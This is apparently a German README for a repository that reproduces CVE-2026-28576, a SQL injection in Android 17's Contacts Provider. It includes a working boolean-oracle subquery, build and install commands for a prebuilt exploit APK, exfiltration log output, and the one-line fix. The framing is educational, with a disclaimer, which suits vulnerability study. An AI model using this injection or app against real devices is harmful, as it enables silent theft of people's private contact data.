
Bildungsbezogener Proof-of-Concept, der eine SQL-Injection-Schwachstelle im Contacts Provider von Android 17 demonstriert und es einer App ohne Berechtigungen ermöglicht, die gesamte Kontaktdatenbank über eine Einzelkontakt-URI-Gewährung zu exfiltrieren.
Ein ausgewählter Kontakt, alle Kontakte: Ein targetSdk-Kompatibilitäts-Gate verwandelt eine Einzelkontakt-Picker-Berechtigung in einen vollständigen Datenbank-Dump der Kontakte.
Android 17 hat den Contacts Provider gegen SQL-Injection mit setStrictColumns() / setStrictGrammar() gehärtet – aber die Härtung wurde hinter einer targetSdk-gesteuerten Kompatibilitätsänderung ausgeliefert (ENFORCE_STRICT_SQL_CHECKS, id 484953293, enableAfterTargetSdk="36"). Jede App, die auf SDK 36 oder niedriger zielt, überspringt die strikten Prüfungen stillschweigend und kann Boolesche-Orakel-Subqueries in der Query-selection verstecken, um die gesamte Kontaktdatenbank über eine Einzelkontakt-URI-Berechtigung auszulesen. Kein READ_CONTACTS, überhaupt keine Berechtigungen.
Hinweis: Wir haben diese Schwachstelle nicht entdeckt. Dieses Repository enthält unsere unabhängige Analyse, Reproduktion und pädagogischen PoC, um der Sicherheits-Community zu helfen, die Fehlerklasse zu verstehen: Sicherheitsfixes, die hinter
@EnabledAfter(targetSdkVersion)stehen, lassen jede App mit Legacy-Target auf dem verwundbaren Pfad.
Ausführlicher Artikel mit Screenshots und Demo-Video: SQL Injection Still Exists, Even in Android: One Picked Contact, Every Contact (CVE-2026-28576)
├── poc/ # PoC-Exploit-App (UI + System-Kontaktpicker)
│ ├── src/ # MainActivity.java — Picker + Boolesches-Orakel-Exploit
│ ├── AndroidManifest.xml # NULL Berechtigungen, targetSdk 36
│ └── build.sh # Build ohne Gradle: aapt2 + javac + d8 + apksigner
├── cve-2026-28576-poc.apk # Vorgebauter PoC-APK (debug-signiert, installierbereit)
├── REPRODUCE.md # Vollständige Schritt-für-Schritt-Reproduktionsanleitung
├── evidence-*.log # Erfasste verwundbare / gepatchte Läufe
└── README.md
Du benötigst einen Android-17-Emulator mit einem Sicherheits-Patch-Level vor 2026-07-01
(wir haben AVD A17-Userdebug, sdk_gphone16k_arm64-userdebug 17 CP31.260623.012,
SPL 2026-07-05 verwendet – ein Beta-Image, das noch das verwundbare Kompatibilitäts-Gate trägt).
emulator -avd A17-Userdebug -writable-system -no-snapshot &
# Patch-Level vor dem Fix verifizieren
adb shell getprop ro.build.version.security_patch
# Ein paar Opfer-Kontakte einfügen (als shell, die Kontaktberechtigungen besitzt)
adb shell "content insert --uri content://com.android.contacts/raw_contacts \
--bind account_name:s:[email protected] --bind account_type:s:com.google"
adb shell "content insert --uri content://com.android.contacts/data \
--bind raw_contact_id:i:1 --bind mimetype:s:vnd.android.cursor.item/name \
--bind data1:s:'Alice Victim'"
Siehe REPRODUCE.md für die vollständige Kontakt-Befüllung und beide Laufvarianten.
adb install cve-2026-28576-poc.apk
adb shell am start -n com.poc.cve202628576/.MainActivity
Auf dem Bildschirm:
checkUriPermission -> 0) und den einen Kontakt, den sie legitimerweise sehen darf.Erfordert Android SDK (build-tools 36.0.0, platform android-37.0) und ein JDK 17. Kein Gradle nötig:
./poc/build.sh # -> poc/build/cve-2026-28576-poc.apk (targetSdk 36, KEINE Berechtigungen)
Die Berechtigungsebene funktioniert einwandfrei. Der Kontaktpicker von Android 17 übergibt der App eine schreibgeschützte URI-Berechtigung für genau einen Kontakt: content://com.android.contacts/contacts/lookup/<key>/1. Direkte Abfragen von irgendetwas anderem werden mit einer SecurityException verweigert.
Die SQL-Ebene tut das nicht. Da der PoC auf SDK 36 zielt, gibt CompatChanges.isChangeEnabled(ENFORCE_STRICT_SQL_CHECKS, callingUid) false zurück und der Provider überspringt setStrictColumns() / setStrictGrammar(). Das immer aktive setStrict(true)-Klammer-Wrapping stoppt nur Klausel-Ausbrüche wie ') OR 1=1 --; gegen ausbalancierte Subqueries tut es nichts.
Boolesche-Orakel-Injection. Die App stellt eine gewöhnlich aussehende Abfrage gegen ihre gewährte URI mit einer in der Selection versteckten Subquery:
contentResolver.query(grantedUri, new String[]{"_id"},
"1 AND (SELECT substr(data1,3,1) FROM data"
+ " WHERE mimetype_id=(SELECT _id FROM mimetypes"
+ " WHERE mimetype='vnd.android.cursor.item/phone_v2')"
+ " ORDER BY _id LIMIT 1 OFFSET 0)='5'", null, null);
Auf einem verwundbaren Android-17-Build exfiltriert die App ohne Berechtigungen alle Namen, Telefonnummern und E-Mails über eine Berechtigung für einen einzelnen Kontakt (siehe evidence-picker-run.log):
What I am ALLOWED to see: Alice Victim (one contact)
VULNERABLE: subquery accepted, dumping contacts DB
EXFILTRATED name #1..3: Alice Victim · Bob Manager · Carol Doctor
EXFILTRATED phone #1..3: +1-555-SECRET-01 · +1-555-777-0002 · +1-555-999-0003
EXFILTRATED email #1..3: [email protected] · ...
Der Fix dreht Änderung 484953293 so um, dass sie für alle Aufrufer unabhängig vom targetSdk gilt – eine einzige gelöschte Annotation (öffentliche Variante: GrapheneOS-Commit c4129a1c):
@ChangeId
- @EnabledAfter(targetSdkVersion = Build.VERSION_CODES.BAKLAVA)
public static final long ENFORCE_STRICT_SQL_CHECKS = 484953293L;
Du kannst das exakt gepatchte Verhalten auf einem verwundbaren Build reproduzieren, ohne etwas zu flashen:
adb shell am compat enable 484953293 com.poc.cve202628576
# Dieselbe Abfrage stirbt jetzt vor SQLite:
# IllegalArgumentException: Invalid token SELECT
Siehe evidence-patched-run.log.
Analyse und PoC von Mobile Hacking Lab. Wir haben diese Schwachstelle unabhängig zu Bildungszwecken reproduziert.
Dieser Proof of Concept wird nur für Bildungs- und autorisierte Sicherheitsforschungszwecke bereitgestellt. Verwende ihn nur auf Geräten und in Umgebungen, die dir gehören oder für die du eine ausdrückliche Testberechtigung hast. Die Autoren sind nicht für jeglichen Missbrauch verantwortlich.
| CVE | CVE-2026-28576 (GHSA-ph86-9mcx-3p6r) |
| Schweregrad | Hoch im Bulletin; das GitHub-Advisory bewertet es mit CVSS v4 10.0 (Kritisch) – angesichts der Voraussetzungen wohl eher hoch |
| Komponente | Contacts Provider (ContactsProvider2.queryLocal()) |
| Grundursache | ENFORCE_STRICT_SQL_CHECKS-Kompatibilitätsänderung hinter @EnabledAfter(BAKLAVA) |
| Auswirkung | Jede App mit einer Einzelkontakt-URI-Berechtigung liest die gesamte Kontaktdatenbank ohne READ_CONTACTS |
| Betroffen | Android 17, Sicherheits-Patch-Level < 2026-07-01 |
| Behoben | Android 17 Security Bulletin |
Wenn das erratene Zeichen übereinstimmt, kommt die gewährte Zeile zurück (cursor.getCount() == 1); andernfalls ist der Cursor leer. Eine Abfrage pro Zeichen-Rateversuch, iteriert über LIMIT 1 OFFSET k für jede Zeile und jeden Mimetype – eine Telefonnummer fällt in unter einer Sekunde, die gesamte Datenbank in deutlich unter einer Minute.